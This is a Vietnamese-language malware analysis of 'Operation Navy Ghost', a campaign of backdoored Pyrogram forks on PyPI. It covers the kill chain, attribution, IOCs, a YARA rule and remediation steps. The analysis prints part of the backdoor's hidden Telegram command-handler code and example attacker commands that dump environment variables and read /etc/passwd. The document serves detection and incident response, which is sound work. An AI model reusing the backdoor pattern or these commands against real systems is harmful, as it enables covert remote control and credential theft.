Navy Ghost: Khi một lệnh pip install trở thành cánh cửa cho hacker

Tổng quan
Một chiến dịch lâu dài được đặt tên Operation Navy Ghost phát hành 8 package Python độc hại giả danh là fork của Pyrogram (thư viện phổ biến để xây dựng Telegram bot) trên PyPI từ tháng 11/2025 đến tháng 6/2026, thu hút 25,489 lượt tải. Mỗi package đều chứa một backdoor tên secret.py ẩn trong thư mục helpers, cho phép kẻ tấn công thực thi Python code hoặc shell command tùy ý trên máy chủ nạn nhân qua các hidden Telegram command handler (/asu /wann cho Python, /asi /wann2 cho shell).
Điểm nguy hiểm nhất: Pyrogram đã bỏ bảo trì (maintenance) từ tháng 4/2023, nhưng vẫn nhận 347,395 lượt tải/tháng (11,645/ngày, 79,504/tuần) và có >1,400 fork trên GitHub. Kẻ tấn công tận dụng đúng khoảng trống này — một thư viện đã "chết" nhưng vẫn "sống" trong production — để phát tán backdoor qua các bản fork giả mạo. Toàn bộ C2 diễn ra qua Telegram MTProto API, một kênh khó để firewall chặn.
Điểm đáng chú ý thứ hai là bot-exclusive targeting: backdoor kiểm tra if self.me.is_bot và chỉ kích hoạt trên bot account, bỏ qua userbot. Bot Telegram thường chạy trên production server với quyền truy cập database, cloud credential, payment API key. Đây không phải tấn công cơ hội mà là lựa chọn có chủ đích: attacker muốn server, không muốn tài khoản cá nhân.
Đặt cạnh làn sóng supply chain 2026 (Mini Shai-Hulud, Miasma, Hades - hơn 170 package npm/PyPI), Navy Ghost khác biệt ở chỗ nó không cần account takeover và không tự nhân bản. Attacker chỉ publish package trông hợp lệ rồi chờ developer tự cài. Không có exploit, không có worm, không có gì để CI/CD pipeline chặn - chỉ có sự tin tưởng bị lợi dụng.
Bối cảnh
Pyrogram: Thư viện "chết" nhưng vẫn được dùng
Pyrogram được mô tả là "elegant, modern and asynchronous Telegram MTProto API framework in Python for users and bots", một cách nói quý phái để diễn tả rằng nó cho phép developer Python xây dựng bot hoặc userbot Telegram tự động hoá. Dự án được duy trì hoạt động từ đó tới tháng 4/2023, khi developer chính quyết định ngừng bảo trì.
Tuy nhiên, ngừng bảo trì không phải tắt đi. Pyrogram vẫn có 347,395 lượt tải/tháng trên PyPI, và trên GitHub có 1,400+ fork từ developer muốn tiếp tục phát triển hoặc "fork-and-patch" riêng mình. Điều này tạo ra một bầu không khí "đặc thù": developer đang tìm Pyrogram trên PyPI sẽ gặp:
Pyrogram chính chủ (không maintain, phiên bản cũ)
Các fork được maintain riêng của cộng đồng
Các bản "upgrade" hoặc "styled" fork hứa hẹn tính năng mới
Chính không gian này mà Operation Navy Ghost tận dụng — một khoảng trống màu xám giữa "còn phổ biến" và "đã chết".
Hình 1. VLifeGram pyproject.toml — bề ngoài hợp pháp: license chính thức, author, dependencies đầy đủ, trông không khác gì fork thật (Nguồn: Checkmarx Zero)
Bối cảnh của supply chain attacks trên PyPI trong 2026
Operation Navy Ghost không phải sự kiện cô lập. Năm 2026 đã chứng kiến một loạt tấn công supply chain liên tiếp trên npm và PyPI, bắt đầu từ cuộc chinh phục Trivy vào 19/3/2026, rồi lan sang LiteLLM (24/3), Telnyx (27/3), và tiếp tục. Các vụ này được gắn với TeamPCP, một nhóm hacker dùng các biến thể khác nhau của một worm tự nhân đôi gọi là Shai-Hulud, Mini Shai-Hulud, Miasma, hay Hades tùy theo giai đoạn.
Nhận định chung từ các nhà bảo mật: năm 2026 là năm của supply chain worms trên PyPI/npm. Khác với các vụ ransomware hoặc extortion thông thường, những chiến dịch này đều hướng đến credential harvesting — thu thập GitHub tokens, npm tokens, AWS credentials, Kubernetes secrets, SSH keys, và HashiCorp Vault tokens, rồi sử dụng đó để tự lan sang các package khác, tạo thành một vòng tuần hoàn tự nhân rộng.
Operation Navy Ghost không có tính "tự nhân rộng" như Mini Shai-Hulud, nhưng nó cho thấy một kiến thức sâu sắc về các nich cụ thể trong developer ecosystem — Telegram bot developers — mà các nhóm lớn hơn có thể bỏ qua.
Thông tin campaign
| Thuộc tính | Chi tiết |
|---|---|
| Tên chiến dịch | Operation Navy Ghost (Checkmarx) |
| Giai đoạn hoạt động | 11/2025 - 06/2026 (8 tháng) |
| Số package đăng ký | 8 malicious packages |
| Tổng lượt tải | 25,489 (tổng 8 package theo Checkmarx) |
| Platform | PyPI (Python Package Index) |
| Loại attack | Supply chain compromise qua fake forks + backdoor injection |
| Payload | secret.py backdoor (RCE via hidden Telegram commands) |
| C2 channel | Telegram MTProto API + hardcoded OWNERS list (Telegram user IDs) |
| Target | Python developers xây dựng Telegram bots |
| Tác nhân | Chưa định danh; 1 actor (hoặc nhóm nhỏ) dùng 3 PyPI account |
| Attribution | Shared Telegram ID 327471892 + code fingerprint giống hệt qua các package |
Timeline sự kiện
| Thời điểm | Sự kiện |
|---|---|
| 04/2023 | Pyrogram project officially unmaintained, nhưng vẫn được tải 350k lần/tháng |
| 11/2025 | Kẻ tấn công bắt đầu phát hành 8 malicious Pyrogram forks trên PyPI |
| 11/2025 - 06/2026 | Liên tục phát hành các phiên bản mới của 8 packages, tích lũy 25,000+ downloads |
| 06/2026 | Checkmarx phát hiện và nghiên cứu chiến dịch |
| 25/06/2026 | Checkmarx công bố báo cáo chi tiết "Operation Navy Ghost" |
| 30/06/2026 | BleepingComputer đưa tin rộng rãi về chiến dịch |
| 07/2026 (hiện tại) | Các package dù đã bị xoá khỏi PyPI nhưng vẫn tồn tại trên các hệ thống đã cài |
Kill chain chi tiết
Bước 0: Lựa chọn mục tiêu - Pyrogram + Telegram bot market
Kẻ tấn công chọn Pyrogram vì:
Thư viện phổ biến (347k DL/tháng) nhưng đã không maintain
Cơ sở người dùng tập trung: Python developers viết Telegram bot (ních cụ thể)
Dễ tạo bản fork "hợp pháp" không gây nghi ngờ
Nhu cầu "fork cải tiến" thật sự tồn tại trong cộng đồng
Bước 1: Tạo 8 bản Pyrogram "giả" với tên hấp dẫn
Kẻ tấn công phát hành các package sau trên PyPI, mỗi cái là một full fork của Pyrogram chính chủ + secret.py:
| Package | Author (PyPI) | First published | Versions | Downloads | Trạng thái |
|---|---|---|---|---|---|
| VLifeGram | wndrzzka | 24/11/2025 | 9 | 4,150 | Đã gỡ |
| VLife-Gram | wndrzzka | 22/11/2025 | 5 | 1,030 | Đã gỡ |
| kelragram | narutorawr18 | 06/05/2026 | 6 | 2,530 | Đã gỡ |
| pyrogram-navy | deylin | 10/01/2026 | 16+ | 15,370 | Đã gỡ |
| pyrogram-styled | deylin | 15/05/2026 | 1 | 432 | Đã gỡ |
| sepgram | deylin | 07/06/2026 | 3 | 1,041 | Đã báo cáo |
| pyrogram-zeeb | deylin | 07/02/2026 | 1 | 264 | Đã gỡ |
| pyrogram-kelra | deylin | 21/03/2026 | 1 | 672 | Đã báo cáo |
pyrogram-navy là package thành công nhất với 15,370 downloads qua 16+ versions. Đáng chú ý: 3 PyPI account khác nhau (wndrzzka, narutorawr18, deylin) nhưng Checkmarx quy về cùng một threat actor.
Lưu ý cho ai đọc bản tin thứ cấp: một số bài báo đưa lại đã map nhầm tên package với số version/download. Bảng trên lấy trực tiếp từ báo cáo gốc Checkmarx.
Chiến lược này rất thông minh: các tên gợi ý "bản fork cải tiến" hoặc "lựa chọn style" của Pyrogram, điều mà developer thường tìm kiếm. kelragram thậm chí mô tả mình là "Navy Fork" — một gợi ý tinh tế về sự liên kết với pyrogram-navy, tạo ấn tượng đó là một bộ công cụ có tên hiệu.
Hình 1. VLifeGram pyproject.toml — bề ngoài hợp pháp: license chính thức, author, dependencies đầy đủ, trông không khác gì fork thật (Nguồn: Checkmarx Zero)
Bước 2: Inject secret.py vào helpers module
Mỗi package đều bao gồm toàn bộ source code hợp pháp từ Pyrogram chính chủ, cộng với một file mới: pyrogram/helpers/secret.py. File này không tồn tại ở bất kỳ phiên bản Pyrogram chính chủ nào.
Việc chèn vào thư mục helpers là có chủ ý: nó "nghe" ra như một phần hợp pháp của Pyrogram, khó để nhận ra khi duyệt qua danh sách file một cách nhanh chóng. Nếu developer mở file structure trong IDE, secret.py nằm cạnh các file khác trong helpers (email.py, sessions.py...) sẽ dễ bị bỏ qua.
Bước 3: Backdoor tự kích hoạt khi bot import Pyrogram hoặc khởi động
Khi developer chạy code bot:
from pyrogram import Client
Hoặc khi bot khởi động:
app = Client("my_bot")
app.run()
Backdoor secret.py tự động execute. Nó đăng ký các hidden Telegram command handler mà chỉ một tập hợp hardcoded Telegram user IDs (OWNERS list) mới có thể gọi được:
def init(client: pyrogram.Client):
if client.me.id in OWNERS:
return # ← Không activate trên account của chính attacker
client.add_handler(
pyrogram.handlers.MessageHandler(
executor,
pyrogram.filters.command(["asu", "wann"]) &
pyrogram.filters.user(OWNERS)
)
)
client.add_handler(
pyrogram.handlers.MessageHandler(
shellrunner,
pyrogram.filters.command(["asi", "wann2"]) &
pyrogram.filters.user(OWNERS)
)
)
Hai chi tiết đáng chú ý ở đây. Thứ nhất, mỗi handler có hai alias: /asu và /wann cho Python, /asi và /wann2 cho shell. Detection rule chỉ bắt /asu /asi sẽ bỏ sót một nửa. Thứ hai, dòng if client.me.id in OWNERS: return là self-exclusion guard — backdoor tự tắt nếu chạy trên account của chính attacker. Đây là dấu hiệu của người đã tính trước việc vô tình trigger backdoor trên bot của mình.
Bước 4: Command execution qua hidden Telegram commands
Kẻ tấn công gửi các lệnh ẩn tới Telegram bot của nạn nhân:
Python code execution:
/asu print(os.environ)
/asu import subprocess; subprocess.run(['id'])
Backdoor sẽ compile và execute Python code này trên máy chủ nạn nhân, với quyền hạn của bot process — tức là bất cứ gì bot có thể access (database, file, environment variables, cloud credentials), kẻ tấn công cũng có thể.
*Hình 3. Python executor từ secret.py — compile và execute tùy ý Python code trên máy chủ nạn nhân
Shell command execution:
/asi cat /etc/passwd
/asi ls -la /
/asi env
Backdoor sẽ chạy /bin/bash -c "command" và trả về output.
*Hình 4. Shell executor từ secret.py — chạy /bin/bash -c "command" và trả về stdout/stderr tới attacker
Bước 5: Exfiltration qua Telegram
Output của command được gửi lại qua Telegram messages. Nếu output >4096 bytes (giới hạn Telegram message), nó được gửi dưới dạng file đính kèm. Toàn bộ giao tiếp qua Telegram MTProto API — một kênh mã hoá, khó để firewall hoặc IDS dễ chặn mà không block toàn bộ Telegram.
Bước 6: Persistence và Evasion
Backdoor được thiết kế để:
Chỉ activate trên bot account — nếu script chạy trên developer's workstation cục bộ (không phải bot Telegram), backdoor sẽ skip. Điều này bảo vệ máy tính cá nhân của kẻ tấn công nếu họ test malware trên máy của mình.
Suppress lỗi và vô hiệu hoá logging — nó wrap mọi thứ trong try-except, không để lại trace trong logs.
Hoạt động âm thầm — không có outbound connection rõ rệt, không có process child غیر thường, chỉ là part của Python runtime của bot.
Kỹ thuật Trigger: Hai phương pháp ẩn khác nhau
Trong quá trình phát triển, kẻ tấn công đã làm tinh vi hóa cách trigger backdoor bằng cách dùng hai phương pháp khác nhau trên các package khác nhau, làm phức tạp việc phát hiện.
Phương pháp 1: VLifeGram — Triggered tại import time
Trong vlifegram, backdoor được kích hoạt ngay tại thời điểm import:
Hình 5. vlifegram-2.5.1.1/pyrogram/helpers/init.py — from .secret import init được inject trực tiếp, kích hoạt ngay khi import pyrogram
Vì helpers module được import tự động bất cứ khi nào developer làm import pyrogram, backdoor tự động load mà không cần bất kỳ trigger nào từ code của dev.
Phương pháp 2: kelragram, pyrogram-navy — Triggered tại bot startup
Trong các package khác, backdoor được ẩn sâu hơn — inside Client.start() method:
Hình 6. kelragram-2.0.210/pyrogram/methods/utilities/start.py — backdoor inject vào startup lifecycle, chỉ activate trên bot accounts (if self.me.is_bot*), mọi exception bị suppress âm thầm
Điểm khác biệt quan trọng: phương pháp này chỉ activate trên bot accounts (kiểm tra if self.me.is_bot), khác với vlifegram sẽ kích hoạt trên bất kỳ pyrogram client nào. Điều này cho thấy kẻ tấn công đã học hỏi qua các phiên bản: targeting servers chứ không phải developer's local machine.
Attribution: 3 danh tính, 1 threat actor
Điểm nối rõ nhất giữa 8 package là Telegram user ID 327471892. ID này xuất hiện trong OWNERS list của pyrogram-navy, sepgram, pyrogram-zeeb, pyrogram-kelra, pyrogram-styled (sole owner ở cả 5), và cả trong danh sách 10-account của vlife-gram cùng vlifegram 2.0.0.9 / 2.1.0.1. Dù publish từ 3 PyPI account riêng biệt, cùng một ID vẫn nắm quyền — đây là tín hiệu attribution mạnh nhất của chiến dịch.
Ba publisher identity:
| PyPI username | Danh tính liên kết |
|---|---|
| wndrzzka | GitHub: wndrzzka, Telegram: WannnKW, Channel: TokoWann.t.me |
| narutorawr18 | GitHub: Narutorawr |
| deylin | (chỉ có email, đã redact) |
Code fingerprint giống hệt nhau qua tất cả package: cùng tên function (aexec, bash, shellrunner), cùng command (/asu, /asi), cùng callback trigger (secretruntime, secretforceclose), cùng self-exclusion guard, cùng pattern try/except: pass trong start.py, cùng cách exfil qua reply_document.
Về liên hệ với TeamPCP: Checkmarx không liên kết Operation Navy Ghost với TeamPCP hay bất kỳ cluster nào khác. Phần bối cảnh supply chain 2026 ở trên là để so sánh xu hướng, không phải attribution. Navy Ghost khác biệt ở chỗ nó không cần account takeover và không tự nhân bản — attacker chỉ publish package mới rồi chờ.
Khuyến nghị
Uninstall immediately 8 malicious packages từ tất cả environments (development, staging, production)
Revoke tất cả Telegram bot tokens — cấp phát lại từ đầu qua @BotFather
Treat affected servers as fully compromised — rotate tất cả credentials (AWS, Azure, GCP, SSH keys, GitHub tokens, database passwords, API keys)
Check environment variables trên affected machine — bất cứ secret nào cũng cần rotate
Audit tất cả server logs (nếu còn) trong thời kỳ backdoor active — trace shell commands được execute
Scan codebase để xác định code phụ thuộc Pyrogram và rewrite/migrate sang maintained alternative (ví dụ: pyrogram fork được community maintain, hoặc telethon)
Review Telegram bot activity logs (nếu có) để xác định commands được execute qua bot
Tìm kiếm bất kỳ persistent backdoor nào mà kẻ tấn công có thể đã install (cron jobs, Startup scripts, systemd services)
Migrate khỏi Pyrogram gốc (không còn maintain) sang fork hợp pháp có lịch sử minh bạch: hydrogram, pyrofork, hoặc telethon. Trước khi thêm bất kỳ fork nào làm dependency, đối chiếu commit history với upstream pyrogram và tìm file không tồn tại trong bản gốc
Nhớ rằng package
pyrogramchính chủ được publish bởi author delivrance. Kiểm tra publisher trước khi cài bất kỳ fork nàoImplement Software Supply Chain security: pin package versions, use lock files (pip-tools, Poetry), audit dependencies regularly
Set up Trusted Publishers cho PyPI (enable GitHub OpenID Connect để publish từ GitHub Actions thay vì PyPI API tokens)
Monitor PyPI cho các packages với tên tương tự (typosquat detection) hoặc fork names của các thư viện phổ biến
YARA rule chính thức từ Checkmarx
Checkmarx công bố kèm báo cáo một YARA rule bắt theo behavior pattern thay vì hash, nên nó vẫn hiệu lực với các variant mới của chiến dịch:
rule OperationNavyGhost_BehaviorPattern
{
meta:
description = "Detects pyrogram backdoor pattern - client hijack + RCE + shell + exfil"
author = "Checkmarx Security Research"
severity = "CRITICAL"
reference = "Operation Navy Ghost"
strings:
// Pattern 1: pyrogram client handler registration
$handler_msg = "MessageHandler" ascii
$handler_cq = "CallbackQueryHandler" ascii
$filter_cmd = "filters.command" ascii
$filter_user = "filters.user" ascii
$add_handler = "add_handler" ascii
// Pattern 2: Dynamic code execution - any naming
$exec_compile = "exec(compile(" ascii
$ast_parse = "ast.parse" ascii
$ast_module = "ast.Module" ascii
$ast_funcdef = "AsyncFunctionDef" ascii
// Pattern 3: Shell execution
$subprocess = "subprocess.run" ascii
$bash_shell = "/bin/bash" ascii
$async_shell = "create_subprocess_shell" ascii
// Pattern 4: File exfiltration via reply
$reply_doc = "reply_document" ascii
// Pattern 5: Self-exclusion guard pattern
$self_exclude = /if\s+\w+\.me\.id\s+in\s+\w+/ ascii
// Pattern 6: Hardcoded numeric ID list (attacker owner list)
$owner_list = /\w+\s*=\s*\[\s*\d{7,10}(\s*,\s*\d{7,10})+\s*\]/ ascii
condition:
uint16(0) != 0x4B50 and // not a zip
$add_handler and $handler_msg and $filter_cmd and $filter_user and
($exec_compile or ($ast_parse and $ast_module and $ast_funcdef)) and
($subprocess or $async_shell or $bash_shell) and
$reply_doc and
($self_exclude or $owner_list)
}
Rule này đòi hỏi cả 4 điều kiện core cùng lúc (handler registration + dynamic exec + shell exec + exfil), nên false positive thấp. Với môi trường MSSP, đây là rule đáng deploy lên developer workstation và CI runner, không chỉ production server.
Indicators of Compromise
Malicious PyPI packages (tính đến 24/06/2026):
vlifegram, vlife-gram, kelragram, pyrogram-navy,
sepgram, pyrogram-styled, pyrogram-zeeb, pyrogram-kelra
File paths (có mặt trong mọi package):
pyrogram/helpers/secret.py (file mới, không tồn tại trong bản gốc)
pyrogram/methods/utilities/start.py (bị sửa)
pyrogram/helpers/__init__.py (bị sửa - chỉ trong VLifeGram)
Attacker Telegram user IDs (16 IDs, toàn chiến dịch):
842320686, 845521076, 1675073032, 1054295664, 1928772230,
6710439195, 984144778, 1992087933, 7028669261, 6321616956,
278475769, 1964437366, 327471892, 5092757079, 273057737,
8721707252
Phân bổ theo package:
| Package | OWNERS IDs |
|---|---|
| VLifeGram (đa số version) | 842320686, 845521076, 1675073032 |
| VLifeGram 2.0.0.9 / 2.1.0.1 + VLife-Gram | 1054295664, 1928772230, 6710439195, 984144778, 1992087933, 7028669261, 6321616956, 278475769, 1964437366, 327471892 |
| kelragram | 5092757079, 273057737, 8721707252 |
| pyrogram-navy, pyrogram-styled, pyrogram-zeeb, sepgram, pyrogram-kelra | 327471892, 1054295664, 1964437366, 1928772230, 6710439195, 984144778, 1992087933, 7028669261, 6321616956, 278475769, 5092757079 |
Attacker Telegram channel:
https[:]//TokoWann[.]t[.]me/2
Backdoor commands:
/asu, /wann -> Python eval
/asi, /wann2 -> shell exec
Callback query triggers:
secretruntime
secretforceclose
Attacker GitHub repos:
https://github.com/wndrzzka/VLifeGram
https://github.com/Narutorawr/kelragram
Lệnh kiểm tra nhanh:
# Bước 1: package đã cài
pip show vlifegram vlife-gram kelragram pyrogram-navy pyrogram-styled sepgram pyrogram-zeeb pyrogram-kelra
# Bước 2: lịch sử pip install
cat ~/.local/share/pip/pip.log | grep -E "vlifegram|vlife-gram|kelragram|pyrogram-navy|pyrogram-styled|sepgram|pyrogram-kelra|pyrogram-zeeb"
# Bước 3: file độc hại (tín hiệu chắc chắn nhất)
find / -path "*/pyrogram/helpers/secret.py" 2>/dev/null
Nếu bước 3 trả về kết quả, môi trường đó đã bị compromise, không cần điều tra thêm để xác nhận.
Nguồn tham khảo:
Operation Navy Ghost: How Attackers Planted a Telegram-Powered Backdoor Across Fake pyrogram Packages on PyPI — Checkmarx Zero
Malicious PyPI packages give hackers control of Telegram bot servers — BleepingComputer
Operation Navy Ghost: PyPI Telegram Backdoor Analysis — FemtoSec
LiteLLM and Telnyx compromised on PyPI: Tracing the TeamPCP supply chain campaign — Datadog Security Labs
Mini Shai-Hulud Supply Chain Attack CVE-2026-45321 FAQ — Tenable
Massive PyPI Supply Chain Attack Harvests Cloud Credentials via Python Startup Hooks — Orca Security
Incident Report: LiteLLM/Telnyx supply-chain attacks, with guidance — PyPI Safety & Security Team






